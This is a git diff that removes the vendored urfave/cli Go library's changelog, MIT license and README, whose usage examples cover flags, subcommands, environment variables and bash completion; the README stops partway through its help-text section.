2017-08-10 - -### Fixed - -* `HandleExitCoder` is now correctly iterates over all errors in - a `MultiError`. The exit code is the exit code of the last error or `1` if - there are no `ExitCoder`s in the `MultiError`. -* Fixed YAML file loading on Windows (previously would fail validate the file path) -* Subcommand `Usage`, `Description`, `ArgsUsage`, `OnUsageError` correctly - propogated -* `ErrWriter` is now passed downwards through command structure to avoid the - need to redefine it -* Pass `Command` context into `OnUsageError` rather than parent context so that - all fields are avaiable -* Errors occuring in `Before` funcs are no longer double printed -* Use `UsageText` in the help templates for commands and subcommands if - defined; otherwise build the usage as before (was previously ignoring this - field) -* `IsSet` and `GlobalIsSet` now correctly return whether a flag is set if - a program calls `Set` or `GlobalSet` directly after flag parsing (would - previously only return `true` if the flag was set during parsing) - -### Changed - -* No longer exit the program on command/subcommand error if the error raised is - not an `OsExiter`. This exiting behavior was introduced in 1.19.0, but was - determined to be a regression in functionality. See [the - PR](https://github.com/urfave/cli/pull/595) for discussion. - -### Added - -* `CommandsByName` type was added to make it easy to sort `Command`s by name, - alphabetically -* `altsrc` now handles loading of string and int arrays from TOML -* Support for definition of custom help templates for `App` via - `CustomAppHelpTemplate` -* Support for arbitrary key/value fields on `App` to be used with - `CustomAppHelpTemplate` via `ExtraInfo` -* `HelpFlag`, `VersionFlag`, and `BashCompletionFlag` changed to explictly be - `cli.Flag`s allowing for the use of custom flags satisfying the `cli.Flag` - interface to be used. - - -## [1.19.1] - 2016-11-21 - -### Fixed - -- Fixes regression introduced in 1.19.0 where using an `ActionFunc` as - the `Action` for a command would cause it to error rather than calling the - function. Should not have a affected declarative cases using `func(c - *cli.Context) err)`. -- Shell completion now handles the case where the user specifies - `--generate-bash-completion` immediately after a flag that takes an argument. - Previously it call the application with `--generate-bash-completion` as the - flag value. - -## [1.19.0] - 2016-11-19 -### Added -- `FlagsByName` was added to make it easy to sort flags (e.g. `sort.Sort(cli.FlagsByName(app.Flags))`) -- A `Description` field was added to `App` for a more detailed description of - the application (similar to the existing `Description` field on `Command`) -- Flag type code generation via `go generate` -- Write to stderr and exit 1 if action returns non-nil error -- Added support for TOML to the `altsrc` loader -- `SkipArgReorder` was added to allow users to skip the argument reordering. - This is useful if you want to consider all "flags" after an argument as - arguments rather than flags (the default behavior of the stdlib `flag` - library). This is backported functionality from the [removal of the flag - reordering](https://github.com/urfave/cli/pull/398) in the unreleased version - 2 -- For formatted errors (those implementing `ErrorFormatter`), the errors will - be formatted during output. Compatible with `pkg/errors`. - -### Changed -- Raise minimum tested/supported Go version to 1.2+ - -### Fixed -- Consider empty environment variables as set (previously environment variables - with the equivalent of `""` would be skipped rather than their value used). -- Return an error if the value in a given environment variable cannot be parsed - as the flag type. Previously these errors were silently swallowed. -- Print full error when an invalid flag is specified (which includes the invalid flag) -- `App.Writer` defaults to `stdout` when `nil` -- If no action is specified on a command or app, the help is now printed instead of `panic`ing -- `App.Metadata` is initialized automatically now (previously was `nil` unless initialized) -- Correctly show help message if `-h` is provided to a subcommand -- `context.(Global)IsSet` now respects environment variables. Previously it - would return `false` if a flag was specified in the environment rather than - as an argument -- Removed deprecation warnings to STDERR to avoid them leaking to the end-user -- `altsrc`s import paths were updated to use `gopkg.in/urfave/cli.v1`. This - fixes issues that occurred when `gopkg.in/urfave/cli.v1` was imported as well - as `altsrc` where Go would complain that the types didn't match - -## [1.18.1] - 2016-08-28 -### Fixed -- Removed deprecation warnings to STDERR to avoid them leaking to the end-user (backported) - -## [1.18.0] - 2016-06-27 -### Added -- `./runtests` test runner with coverage tracking by default -- testing on OS X -- testing on Windows -- `UintFlag`, `Uint64Flag`, and `Int64Flag` types and supporting code - -### Changed -- Use spaces for alignment in help/usage output instead of tabs, making the - output alignment consistent regardless of tab width - -### Fixed -- Printing of command aliases in help text -- Printing of visible flags for both struct and struct pointer flags -- Display the `help` subcommand when using `CommandCategories` -- No longer swallows `panic`s that occur within the `Action`s themselves when - detecting the signature of the `Action` field - -## [1.17.1] - 2016-08-28 -### Fixed -- Removed deprecation warnings to STDERR to avoid them leaking to the end-user - -## [1.17.0] - 2016-05-09 -### Added -- Pluggable flag-level help text rendering via `cli.DefaultFlagStringFunc` -- `context.GlobalBoolT` was added as an analogue to `context.GlobalBool` -- Support for hiding commands by setting `Hidden: true` -- this will hide the - commands in help output - -### Changed -- `Float64Flag`, `IntFlag`, and `DurationFlag` default values are no longer - quoted in help text output. -- All flag types now include `(default: {value})` strings following usage when a - default value can be (reasonably) detected. -- `IntSliceFlag` and `StringSliceFlag` usage strings are now more consistent - with non-slice flag types -- Apps now exit with a code of 3 if an unknown subcommand is specified - (previously they printed "No help topic for...", but still exited 0. This - makes it easier to script around apps built using `cli` since they can trust - that a 0 exit code indicated a successful execution. -- cleanups based on [Go Report Card - feedback](https://goreportcard.com/report/github.com/urfave/cli) - -## [1.16.1] - 2016-08-28 -### Fixed -- Removed deprecation warnings to STDERR to avoid them leaking to the end-user - -## [1.16.0] - 2016-05-02 -### Added -- `Hidden` field on all flag struct types to omit from generated help text - -### Changed -- `BashCompletionFlag` (`--enable-bash-completion`) is now omitted from -generated help text via the `Hidden` field - -### Fixed -- handling of error values in `HandleAction` and `HandleExitCoder` - -## [1.15.0] - 2016-04-30 -### Added -- This file! -- Support for placeholders in flag usage strings -- `App.Metadata` map for arbitrary data/state management -- `Set` and `GlobalSet` methods on `*cli.Context` for altering values after -parsing. -- Support for nested lookup of dot-delimited keys in structures loaded from -YAML. - -### Changed -- The `App.Action` and `Command.Action` now prefer a return signature of -`func(*cli.Context) error`, as defined by `cli.ActionFunc`. If a non-nil -`error` is returned, there may be two outcomes: - - If the error fulfills `cli.ExitCoder`, then `os.Exit` will be called - automatically - - Else the error is bubbled up and returned from `App.Run` -- Specifying an `Action` with the legacy return signature of -`func(*cli.Context)` will produce a deprecation message to stderr -- Specifying an `Action` that is not a `func` type will produce a non-zero exit -from `App.Run` -- Specifying an `Action` func that has an invalid (input) signature will -produce a non-zero exit from `App.Run` - -### Deprecated -- -`cli.App.RunAndExitOnError`, which should now be done by returning an error -that fulfills `cli.ExitCoder` to `cli.App.Run`. -- the legacy signature for -`cli.App.Action` of `func(*cli.Context)`, which should now have a return -signature of `func(*cli.Context) error`, as defined by `cli.ActionFunc`. - -### Fixed -- Added missing `*cli.Context.GlobalFloat64` method - -## [1.14.0] - 2016-04-03 (backfilled 2016-04-25) -### Added -- Codebeat badge -- Support for categorization via `CategorizedHelp` and `Categories` on app. - -### Changed -- Use `filepath.Base` instead of `path.Base` in `Name` and `HelpName`. - -### Fixed -- Ensure version is not shown in help text when `HideVersion` set. - -## [1.13.0] - 2016-03-06 (backfilled 2016-04-25) -### Added -- YAML file input support. -- `NArg` method on context. - -## [1.12.0] - 2016-02-17 (backfilled 2016-04-25) -### Added -- Custom usage error handling. -- Custom text support in `USAGE` section of help output. -- Improved help messages for empty strings. -- AppVeyor CI configuration. - -### Changed -- Removed `panic` from default help printer func. -- De-duping and optimizations. - -### Fixed -- Correctly handle `Before`/`After` at command level when no subcommands. -- Case of literal `-` argument causing flag reordering. -- Environment variable hints on Windows. -- Docs updates. - -## [1.11.1] - 2015-12-21 (backfilled 2016-04-25) -### Changed -- Use `path.Base` in `Name` and `HelpName` -- Export `GetName` on flag types. - -### Fixed -- Flag parsing when skipping is enabled. -- Test output cleanup. -- Move completion check to account for empty input case. - -## [1.11.0] - 2015-11-15 (backfilled 2016-04-25) -### Added -- Destination scan support for flags. -- Testing against `tip` in Travis CI config. - -### Changed -- Go version in Travis CI config. - -### Fixed -- Removed redundant tests. -- Use correct example naming in tests. - -## [1.10.2] - 2015-10-29 (backfilled 2016-04-25) -### Fixed -- Remove unused var in bash completion. - -## [1.10.1] - 2015-10-21 (backfilled 2016-04-25) -### Added -- Coverage and reference logos in README. - -### Fixed -- Use specified values in help and version parsing. -- Only display app version and help message once. - -## [1.10.0] - 2015-10-06 (backfilled 2016-04-25) -### Added -- More tests for existing functionality. -- `ArgsUsage` at app and command level for help text flexibility. - -### Fixed -- Honor `HideHelp` and `HideVersion` in `App.Run`. -- Remove juvenile word from README. - -## [1.9.0] - 2015-09-08 (backfilled 2016-04-25) -### Added -- `FullName` on command with accompanying help output update. -- Set default `$PROG` in bash completion. - -### Changed -- Docs formatting. - -### Fixed -- Removed self-referential imports in tests. - -## [1.8.0] - 2015-06-30 (backfilled 2016-04-25) -### Added -- Support for `Copyright` at app level. -- `Parent` func at context level to walk up context lineage. - -### Fixed -- Global flag processing at top level. - -## [1.7.1] - 2015-06-11 (backfilled 2016-04-25) -### Added -- Aggregate errors from `Before`/`After` funcs. -- Doc comments on flag structs. -- Include non-global flags when checking version and help. -- Travis CI config updates. - -### Fixed -- Ensure slice type flags have non-nil values. -- Collect global flags from the full command hierarchy. -- Docs prose. - -## [1.7.0] - 2015-05-03 (backfilled 2016-04-25) -### Changed -- `HelpPrinter` signature includes output writer. - -### Fixed -- Specify go 1.1+ in docs. -- Set `Writer` when running command as app. - -## [1.6.0] - 2015-03-23 (backfilled 2016-04-25) -### Added -- Multiple author support. -- `NumFlags` at context level. -- `Aliases` at command level. - -### Deprecated -- `ShortName` at command level. - -### Fixed -- Subcommand help output. -- Backward compatible support for deprecated `Author` and `Email` fields. -- Docs regarding `Names`/`Aliases`. - -## [1.5.0] - 2015-02-20 (backfilled 2016-04-25) -### Added -- `After` hook func support at app and command level. - -### Fixed -- Use parsed context when running command as subcommand. -- Docs prose. - -## [1.4.1] - 2015-01-09 (backfilled 2016-04-25) -### Added -- Support for hiding `-h / --help` flags, but not `help` subcommand. -- Stop flag parsing after `--`. - -### Fixed -- Help text for generic flags to specify single value. -- Use double quotes in output for defaults. -- Use `ParseInt` instead of `ParseUint` for int environment var values. -- Use `0` as base when parsing int environment var values. - -## [1.4.0] - 2014-12-12 (backfilled 2016-04-25) -### Added -- Support for environment variable lookup "cascade". -- Support for `Stdout` on app for output redirection. - -### Fixed -- Print command help instead of app help in `ShowCommandHelp`. - -## [1.3.1] - 2014-11-13 (backfilled 2016-04-25) -### Added -- Docs and example code updates. - -### Changed -- Default `-v / --version` flag made optional. - -## [1.3.0] - 2014-08-10 (backfilled 2016-04-25) -### Added -- `FlagNames` at context level. -- Exposed `VersionPrinter` var for more control over version output. -- Zsh completion hook. -- `AUTHOR` section in default app help template. -- Contribution guidelines. -- `DurationFlag` type. - -## [1.2.0] - 2014-08-02 -### Added -- Support for environment variable defaults on flags plus tests. - -## [1.1.0] - 2014-07-15 -### Added -- Bash completion. -- Optional hiding of built-in help command. -- Optional skipping of flag parsing at command level. -- `Author`, `Email`, and `Compiled` metadata on app. -- `Before` hook func support at app and command level. -- `CommandNotFound` func support at app level. -- Command reference available on context. -- `GenericFlag` type. -- `Float64Flag` type. -- `BoolTFlag` type. -- `IsSet` flag helper on context. -- More flag lookup funcs at context level. -- More tests & docs. - -### Changed -- Help template updates to account for presence/absence of flags. -- Separated subcommand help template. -- Exposed `HelpPrinter` var for more control over help output. - -## [1.0.0] - 2013-11-01 -### Added -- `help` flag in default app flag set and each command flag set. -- Custom handling of argument parsing errors. -- Command lookup by name at app level. -- `StringSliceFlag` type and supporting `StringSlice` type. -- `IntSliceFlag` type and supporting `IntSlice` type. -- Slice type flag lookups by name at context level. -- Export of app and command help functions. -- More tests & docs. - -## 0.1.0 - 2013-07-22 -### Added -- Initial implementation. - -[Unreleased]: https://github.com/urfave/cli/compare/v1.18.0...HEAD -[1.18.0]: https://github.com/urfave/cli/compare/v1.17.0...v1.18.0 -[1.17.0]: https://github.com/urfave/cli/compare/v1.16.0...v1.17.0 -[1.16.0]: https://github.com/urfave/cli/compare/v1.15.0...v1.16.0 -[1.15.0]: https://github.com/urfave/cli/compare/v1.14.0...v1.15.0 -[1.14.0]: https://github.com/urfave/cli/compare/v1.13.0...v1.14.0 -[1.13.0]: https://github.com/urfave/cli/compare/v1.12.0...v1.13.0 -[1.12.0]: https://github.com/urfave/cli/compare/v1.11.1...v1.12.0 -[1.11.1]: https://github.com/urfave/cli/compare/v1.11.0...v1.11.1 -[1.11.0]: https://github.com/urfave/cli/compare/v1.10.2...v1.11.0 -[1.10.2]: https://github.com/urfave/cli/compare/v1.10.1...v1.10.2 -[1.10.1]: https://github.com/urfave/cli/compare/v1.10.0...v1.10.1 -[1.10.0]: https://github.com/urfave/cli/compare/v1.9.0...v1.10.0 -[1.9.0]: https://github.com/urfave/cli/compare/v1.8.0...v1.9.0 -[1.8.0]: https://github.com/urfave/cli/compare/v1.7.1...v1.8.0 -[1.7.1]: https://github.com/urfave/cli/compare/v1.7.0...v1.7.1 -[1.7.0]: https://github.com/urfave/cli/compare/v1.6.0...v1.7.0 -[1.6.0]: https://github.com/urfave/cli/compare/v1.5.0...v1.6.0 -[1.5.0]: https://github.com/urfave/cli/compare/v1.4.1...v1.5.0 -[1.4.1]: https://github.com/urfave/cli/compare/v1.4.0...v1.4.1 -[1.4.0]: https://github.com/urfave/cli/compare/v1.3.1...v1.4.0 -[1.3.1]: https://github.com/urfave/cli/compare/v1.3.0...v1.3.1 -[1.3.0]: https://github.com/urfave/cli/compare/v1.2.0...v1.3.0 -[1.2.0]: https://github.com/urfave/cli/compare/v1.1.0...v1.2.0 -[1.1.0]: https://github.com/urfave/cli/compare/v1.0.0...v1.1.0 -[1.0.0]: https://github.com/urfave/cli/compare/v0.1.0...v1.0.0 diff --git a/vendor/github.com/urfave/cli/LICENSE b/vendor/github.com/urfave/cli/LICENSE deleted file mode 100644 index 42a597e29b..0000000000 --- a/vendor/github.com/urfave/cli/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2016 Jeremy Saenz & Contributors - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/github.com/urfave/cli/README.md b/vendor/github.com/urfave/cli/README.md deleted file mode 100644 index 2bbbd8ea97..0000000000 --- a/vendor/github.com/urfave/cli/README.md +++ /dev/null @@ -1,1381 +0,0 @@ -cli -=== - -[![Build Status](https://travis-ci.org/urfave/cli.svg?branch=master)](https://travis-ci.org/urfave/cli) -[![Windows Build Status](https://ci.appveyor.com/api/projects/status/rtgk5xufi932pb2v?svg=true)](https://ci.appveyor.com/project/urfave/cli) -[![GoDoc](https://godoc.org/github.com/urfave/cli?status.svg)](https://godoc.org/github.com/urfave/cli) -[![codebeat](https://codebeat.co/badges/0a8f30aa-f975-404b-b878-5fab3ae1cc5f)](https://codebeat.co/projects/github-com-urfave-cli) -[![Go Report Card](https://goreportcard.com/badge/urfave/cli)](https://goreportcard.com/report/urfave/cli) -[![top level coverage](https://gocover.io/_badge/github.com/urfave/cli?0 "top level coverage")](http://gocover.io/github.com/urfave/cli) / -[![altsrc coverage](https://gocover.io/_badge/github.com/urfave/cli/altsrc?0 "altsrc coverage")](http://gocover.io/github.com/urfave/cli/altsrc) - -**Notice:** This is the library formerly known as -`github.com/codegangsta/cli` -- Github will automatically redirect requests -to this repository, but we recommend updating your references for clarity. - -cli is a simple, fast, and fun package for building command line apps in Go. The -goal is to enable developers to write fast and distributable command line -applications in an expressive way. - - - -- [Overview](#overview) -- [Installation](#installation) - * [Supported platforms](#supported-platforms) - * [Using the `v2` branch](#using-the-v2-branch) - * [Pinning to the `v1` releases](#pinning-to-the-v1-releases) -- [Getting Started](#getting-started) -- [Examples](#examples) - * [Arguments](#arguments) - * [Flags](#flags) - + [Placeholder Values](#placeholder-values) - + [Alternate Names](#alternate-names) - + [Ordering](#ordering) - + [Values from the Environment](#values-from-the-environment) - + [Values from alternate input sources (YAML, TOML, and others)](#values-from-alternate-input-sources-yaml-toml-and-others) - * [Subcommands](#subcommands) - * [Subcommands categories](#subcommands-categories) - * [Exit code](#exit-code) - * [Bash Completion](#bash-completion) - + [Enabling](#enabling) - + [Distribution](#distribution) - + [Customization](#customization) - * [Generated Help Text](#generated-help-text) - + [Customization](#customization-1) - * [Version Flag](#version-flag) - + [Customization](#customization-2) - + [Full API Example](#full-api-example) -- [Contribution Guidelines](#contribution-guidelines) - - - -## Overview - -Command line apps are usually so tiny that there is absolutely no reason why -your code should *not* be self-documenting. Things like generating help text and -parsing command flags/options should not hinder productivity when writing a -command line app. - -**This is where cli comes into play.** cli makes command line programming fun, -organized, and expressive! - -## Installation - -Make sure you have a working Go environment. Go version 1.2+ is supported. [See -the install instructions for Go](http://golang.org/doc/install.html). - -To install cli, simply run: -``` -$ go get github.com/urfave/cli -``` - -Make sure your `PATH` includes the `$GOPATH/bin` directory so your commands can -be easily used: -``` -export PATH=$PATH:$GOPATH/bin -``` - -### Supported platforms - -cli is tested against multiple versions of Go on Linux, and against the latest -released version of Go on OS X and Windows. For full details, see -[`./.travis.yml`](./.travis.yml) and [`./appveyor.yml`](./appveyor.yml). - -### Using the `v2` branch - -**Warning**: The `v2` branch is currently unreleased and considered unstable. - -There is currently a long-lived branch named `v2` that is intended to land as -the new `master` branch once development there has settled down. The current -`master` branch (mirrored as `v1`) is being manually merged into `v2` on -an irregular human-based schedule, but generally if one wants to "upgrade" to -`v2` *now* and accept the volatility (read: "awesomeness") that comes along with -that, please use whatever version pinning of your preference, such as via -`gopkg.in`: - -``` -$ go get gopkg.in/urfave/cli.v2 -``` - -``` go -... -import ( - "gopkg.in/urfave/cli.v2" // imports as package "cli" -) -... -``` - -### Pinning to the `v1` releases - -Similarly to the section above describing use of the `v2` branch, if one wants -to avoid any unexpected compatibility pains once `v2` becomes `master`, then -pinning to `v1` is an acceptable option, e.g.: - -``` -$ go get gopkg.in/urfave/cli.v1 -``` - -``` go -... -import ( - "gopkg.in/urfave/cli.v1" // imports as package "cli" -) -... -``` - -This will pull the latest tagged `v1` release (e.g. `v1.18.1` at the time of writing). - -## Getting Started - -One of the philosophies behind cli is that an API should be playful and full of -discovery. So a cli app can be as little as one line of code in `main()`. - - -``` go -package main - -import ( - "os" - - "github.com/urfave/cli" -) - -func main() { - cli.NewApp().Run(os.Args) -} -``` - -This app will run and show help text, but is not very useful. Let's give an -action to execute and some help documentation: - - -``` go -package main - -import ( - "fmt" - "os" - - "github.com/urfave/cli" -) - -func main() { - app := cli.NewApp() - app.Name = "boom" - app.Usage = "make an explosive entrance" - app.Action = func(c *cli.Context) error { - fmt.Println("boom! I say!") - return nil - } - - app.Run(os.Args) -} -``` - -Running this already gives you a ton of functionality, plus support for things -like subcommands and flags, which are covered below. - -## Examples - -Being a programmer can be a lonely job. Thankfully by the power of automation -that is not the case! Let's create a greeter app to fend off our demons of -loneliness! - -Start by creating a directory named `greet`, and within it, add a file, -`greet.go` with the following code in it: - - -``` go -package main - -import ( - "fmt" - "os" - - "github.com/urfave/cli" -) - -func main() { - app := cli.NewApp() - app.Name = "greet" - app.Usage = "fight the loneliness!" - app.Action = func(c *cli.Context) error { - fmt.Println("Hello friend!") - return nil - } - - app.Run(os.Args) -} -``` - -Install our command to the `$GOPATH/bin` directory: - -``` -$ go install -``` - -Finally run our new command: - -``` -$ greet -Hello friend! -``` - -cli also generates neat help text: - -``` -$ greet help -NAME: - greet - fight the loneliness! - -USAGE: - greet [global options] command [command options] [arguments...] - -VERSION: - 0.0.0 - -COMMANDS: - help, h Shows a list of commands or help for one command - -GLOBAL OPTIONS - --version Shows version information -``` - -### Arguments - -You can lookup arguments by calling the `Args` function on `cli.Context`, e.g.: - - -``` go -package main - -import ( - "fmt" - "os" - - "github.com/urfave/cli" -) - -func main() { - app := cli.NewApp() - - app.Action = func(c *cli.Context) error { - fmt.Printf("Hello %q", c.Args().Get(0)) - return nil - } - - app.Run(os.Args) -} -``` - -### Flags - -Setting and querying flags is simple. - - -``` go -package main - -import ( - "fmt" - "os" - - "github.com/urfave/cli" -) - -func main() { - app := cli.NewApp() - - app.Flags = []cli.Flag { - cli.StringFlag{ - Name: "lang", - Value: "english", - Usage: "language for the greeting", - }, - } - - app.Action = func(c *cli.Context) error { - name := "Nefertiti" - if c.NArg() > 0 { - name = c.Args().Get(0) - } - if c.String("lang") == "spanish" { - fmt.Println("Hola", name) - } else { - fmt.Println("Hello", name) - } - return nil - } - - app.Run(os.Args) -} -``` - -You can also set a destination variable for a flag, to which the content will be -scanned. - - -``` go -package main - -import ( - "os" - "fmt" - - "github.com/urfave/cli" -) - -func main() { - var language string - - app := cli.NewApp() - - app.Flags = []cli.Flag { - cli.StringFlag{ - Name: "lang", - Value: "english", - Usage: "language for the greeting", - Destination: &language, - }, - } - - app.Action = func(c *cli.Context) error { - name := "someone" - if c.NArg() > 0 { - name = c.Args()[0] - } - if language == "spanish" { - fmt.Println("Hola", name) - } else { - fmt.Println("Hello", name) - } - return nil - } - - app.Run(os.Args) -} -``` - -See full list of flags at http://godoc.org/github.com/urfave/cli - -#### Placeholder Values - -Sometimes it's useful to specify a flag's value within the usage string itself. -Such placeholders are indicated with back quotes. - -For example this: - - -```go -package main - -import ( - "os" - - "github.com/urfave/cli" -) - -func main() { - app := cli.NewApp() - - app.Flags = []cli.Flag{ - cli.StringFlag{ - Name: "config, c", - Usage: "Load configuration from `FILE`", - }, - } - - app.Run(os.Args) -} -``` - -Will result in help output like: - -``` ---config FILE, -c FILE Load configuration from FILE -``` - -Note that only the first placeholder is used. Subsequent back-quoted words will -be left as-is. - -#### Alternate Names - -You can set alternate (or short) names for flags by providing a comma-delimited -list for the `Name`. e.g. - - -``` go -package main - -import ( - "os" - - "github.com/urfave/cli" -) - -func main() { - app := cli.NewApp() - - app.Flags = []cli.Flag { - cli.StringFlag{ - Name: "lang, l", - Value: "english", - Usage: "language for the greeting", - }, - } - - app.Run(os.Args) -} -``` - -That flag can then be set with `--lang spanish` or `-l spanish`. Note that -giving two different forms of the same flag in the same command invocation is an -error. - -#### Ordering - -Flags for the application and commands are shown in the order they are defined. -However, it's possible to sort them from outside this library by using `FlagsByName` -or `CommandsByName` with `sort`. - -For example this: - - -``` go -package main - -import ( - "os" - "sort" - - "github.com/urfave/cli" -) - -func main() { - app := cli.NewApp() - - app.Flags = []cli.Flag { - cli.StringFlag{ - Name: "lang, l", - Value: "english", - Usage: "Language for the greeting", - }, - cli.StringFlag{ - Name: "config, c", - Usage: "Load configuration from `FILE`", - }, - } - - app.Commands = []cli.Command{ - { - Name: "complete", - Aliases: []string{"c"}, - Usage: "complete a task on the list", - Action: func(c *cli.Context) error { - return nil - }, - }, - { - Name: "add", - Aliases: []string{"a"}, - Usage: "add a task to the list", - Action: func(c *cli.Context) error { - return nil - }, - }, - } - - sort.Sort(cli.FlagsByName(app.Flags)) - sort.Sort(cli.CommandsByName(app.Commands)) - - app.Run(os.Args) -} -``` - -Will result in help output like: - -``` ---config FILE, -c FILE Load configuration from FILE ---lang value, -l value Language for the greeting (default: "english") -``` - -#### Values from the Environment - -You can also have the default value set from the environment via `EnvVar`. e.g. - - -``` go -package main - -import ( - "os" - - "github.com/urfave/cli" -) - -func main() { - app := cli.NewApp() - - app.Flags = []cli.Flag { - cli.StringFlag{ - Name: "lang, l", - Value: "english", - Usage: "language for the greeting", - EnvVar: "APP_LANG", - }, - } - - app.Run(os.Args) -} -``` - -The `EnvVar` may also be given as a comma-delimited "cascade", where the first -environment variable that resolves is used as the default. - - -``` go -package main - -import ( - "os" - - "github.com/urfave/cli" -) - -func main() { - app := cli.NewApp() - - app.Flags = []cli.Flag { - cli.StringFlag{ - Name: "lang, l", - Value: "english", - Usage: "language for the greeting", - EnvVar: "LEGACY_COMPAT_LANG,APP_LANG,LANG", - }, - } - - app.Run(os.Args) -} -``` - -#### Values from alternate input sources (YAML, TOML, and others) - -There is a separate package altsrc that adds support for getting flag values -from other file input sources. - -Currently supported input source formats: -* YAML -* TOML - -In order to get values for a flag from an alternate input source the following -code would be added to wrap an existing cli.Flag like below: - -``` go - altsrc.NewIntFlag(cli.IntFlag{Name: "test"}) -``` - -Initialization must also occur for these flags. Below is an example initializing -getting data from a yaml file below. - -``` go - command.Before = altsrc.InitInputSourceWithContext(command.Flags, NewYamlSourceFromFlagFunc("load")) -``` - -The code above will use the "load" string as a flag name to get the file name of -a yaml file from the cli.Context. It will then use that file name to initialize -the yaml input source for any flags that are defined on that command. As a note -the "load" flag used would also have to be defined on the command flags in order -for this code snipped to work. - -Currently only the aboved specified formats are supported but developers can -add support for other input sources by implementing the -altsrc.InputSourceContext for their given sources. - -Here is a more complete sample of a command using YAML support: - - -``` go -package notmain - -import ( - "fmt" - "os" - - "github.com/urfave/cli" - "github.com/urfave/cli/altsrc" -) - -func main() { - app := cli.NewApp() - - flags := []cli.Flag{ - altsrc.NewIntFlag(cli.IntFlag{Name: "test"}), - cli.StringFlag{Name: "load"}, - } - - app.Action = func(c *cli.Context) error { - fmt.Println("yaml ist rad") - return nil - } - - app.Before = altsrc.InitInputSourceWithContext(flags, altsrc.NewYamlSourceFromFlagFunc("load")) - app.Flags = flags - - app.Run(os.Args) -} -``` - -### Subcommands - -Subcommands can be defined for a more git-like command line app. - - -```go -package main - -import ( - "fmt" - "os" - - "github.com/urfave/cli" -) - -func main() { - app := cli.NewApp() - - app.Commands = []cli.Command{ - { - Name: "add", - Aliases: []string{"a"}, - Usage: "add a task to the list", - Action: func(c *cli.Context) error { - fmt.Println("added task: ", c.Args().First()) - return nil - }, - }, - { - Name: "complete", - Aliases: []string{"c"}, - Usage: "complete a task on the list", - Action: func(c *cli.Context) error { - fmt.Println("completed task: ", c.Args().First()) - return nil - }, - }, - { - Name: "template", - Aliases: []string{"t"}, - Usage: "options for task templates", - Subcommands: []cli.Command{ - { - Name: "add", - Usage: "add a new template", - Action: func(c *cli.Context) error { - fmt.Println("new task template: ", c.Args().First()) - return nil - }, - }, - { - Name: "remove", - Usage: "remove an existing template", - Action: func(c *cli.Context) error { - fmt.Println("removed task template: ", c.Args().First()) - return nil - }, - }, - }, - }, - } - - app.Run(os.Args) -} -``` - -### Subcommands categories - -For additional organization in apps that have many subcommands, you can -associate a category for each command to group them together in the help -output. - -E.g. - -```go -package main - -import ( - "os" - - "github.com/urfave/cli" -) - -func main() { - app := cli.NewApp() - - app.Commands = []cli.Command{ - { - Name: "noop", - }, - { - Name: "add", - Category: "template", - }, - { - Name: "remove", - Category: "template", - }, - } - - app.Run(os.Args) -} -``` - -Will include: - -``` -COMMANDS: - noop - - Template actions: - add - remove -``` - -### Exit code - -Calling `App.Run` will not automatically call `os.Exit`, which means that by -default the exit code will "fall through" to being `0`. An explicit exit code -may be set by returning a non-nil error that fulfills `cli.ExitCoder`, *or* a -`cli.MultiError` that includes an error that fulfills `cli.ExitCoder`, e.g.: - -``` go -package main - -import ( - "os" - - "github.com/urfave/cli" -) - -func main() { - app := cli.NewApp() - app.Flags = []cli.Flag{ - cli.BoolTFlag{ - Name: "ginger-crouton", - Usage: "is it in the soup?", - }, - } - app.Action = func(ctx *cli.Context) error { - if !ctx.Bool("ginger-crouton") { - return cli.NewExitError("it is not in the soup", 86) - } - return nil - } - - app.Run(os.Args) -} -``` - -### Bash Completion - -You can enable completion commands by setting the `EnableBashCompletion` -flag on the `App` object. By default, this setting will only auto-complete to -show an app's subcommands, but you can write your own completion methods for -the App or its subcommands. - - -``` go -package main - -import ( - "fmt" - "os" - - "github.com/urfave/cli" -) - -func main() { - tasks := []string{"cook", "clean", "laundry", "eat", "sleep", "code"} - - app := cli.NewApp() - app.EnableBashCompletion = true - app.Commands = []cli.Command{ - { - Name: "complete", - Aliases: []string{"c"}, - Usage: "complete a task on the list", - Action: func(c *cli.Context) error { - fmt.Println("completed task: ", c.Args().First()) - return nil - }, - BashComplete: func(c *cli.Context) { - // This will complete if no args are passed - if c.NArg() > 0 { - return - } - for _, t := range tasks { - fmt.Println(t) - } - }, - }, - } - - app.Run(os.Args) -} -``` - -#### Enabling - -Source the `autocomplete/bash_autocomplete` file in your `.bashrc` file while -setting the `PROG` variable to the name of your program: - -`PROG=myprogram source /.../cli/autocomplete/bash_autocomplete` - -#### Distribution - -Copy `autocomplete/bash_autocomplete` into `/etc/bash_completion.d/` and rename -it to the name of the program you wish to add autocomplete support for (or -automatically install it there if you are distributing a package). Don't forget -to source the file to make it active in the current shell. - -``` -sudo cp src/bash_autocomplete /etc/bash_completion.d/ -source /etc/bash_completion.d/ -``` - -Alternatively, you can just document that users should source the generic -`autocomplete/bash_autocomplete` in their bash configuration with `$PROG` set -to the name of their program (as above). - -#### Customization - -The default bash completion flag (`--generate-bash-completion`) is defined as -`cli.BashCompletionFlag`, and may be redefined if desired, e.g.: - - -``` go -package main - -import ( - "os" - - "github.com/urfave/cli" -) - -func main() { - cli.BashCompletionFlag = cli.BoolFlag{ - Name: "compgen", - Hidden: true, - } - - app := cli.NewApp() - app.EnableBashCompletion = true - app.Commands = []cli.Command{ - { - Name: "wat", - }, - } - app.Run(os.Args) -} -``` - -### Generated Help Text - -The default help flag (`-h/--help`) is defined as `cli.HelpFlag` and is checked -by the cli internals in order to print generated help text for the app, command, -or subcommand, and break execution. - -#### Customization - -All of the help text 